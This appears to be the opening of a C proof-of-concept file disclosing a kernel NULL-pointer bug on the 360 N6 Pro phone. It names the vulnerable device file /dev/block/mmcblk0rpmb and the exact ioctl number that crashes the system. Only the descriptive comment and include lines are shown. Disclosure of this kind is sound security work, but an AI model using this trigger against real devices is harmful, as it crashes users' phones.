/* * This is poc of 360 N6 Pro, 1801-A01 * Android Version: 7.1.1 * Version Number: V096 * Kernel Version: Linux localhost 4.4.21-perf #1 SMP PREEMPT Wed Mar 28 15:24:20 UTC 2018 aarch64 * A NULL pointer bug in the ioctl interface of device file /dev/block/mmcblk0rpmb causes the system crash via IOCTL 3235427072. * This Poc should run with permission to do ioctl on /dev/block/mmcblk0rpmb. */ #include<stdio.h> #include<fcntl.h> #include<errno.h> #include<sys/ioctl.h>
评论